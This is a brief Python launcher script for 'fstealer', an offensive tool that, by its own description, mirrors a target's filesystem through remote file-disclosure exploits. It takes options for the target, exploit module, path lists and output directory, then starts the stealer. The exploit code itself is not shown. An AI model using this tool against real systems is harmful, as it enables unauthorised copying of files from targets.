#!/usr/bin/env python

from libfstealer import *
import argparse
import sys

def parse_args():
	parser = argparse.ArgumentParser(description='fstealer - mirrors a filesystem via remote file disclosure')
	parser.add_argument('target', metavar='target', type=str, help='specify a target identifier to mirror from')
	parser.add_argument('--exploit', dest='exploit', default='LocalStealerExploit', help='specify the exploit to use, default is local reading')
	parser.add_argument('--blacklist', dest='blacklist', default='/etc/fstealer/blacklist', help='specify a file/path blacklist')
	parser.add_argument('--odir', dest='odir', default='/tmp/fstealer', help='specify the output directory')
	parser.add_argument('--threadnum', dest='threadnum', default='1', help='specify the number of threads to use')
	parser.add_argument('--pathlist', dest='pathlist', default='/etc/fstealer/pathlist', help='specify the initial list of paths')
	parser.add_argument('--module-storage', dest='moduledata', default='/etc/fstealer/moddata', help='specify the path to module specific file')
	return parser.parse_args()

if __name__ == "__main__":
	args = parse_args()
	fstealer = fsteal.FileSystemStealer(args.target, args.exploit, args.blacklist, args.odir, args.threadnum, args.pathlist, args.moduledata)
	fstealer.run()
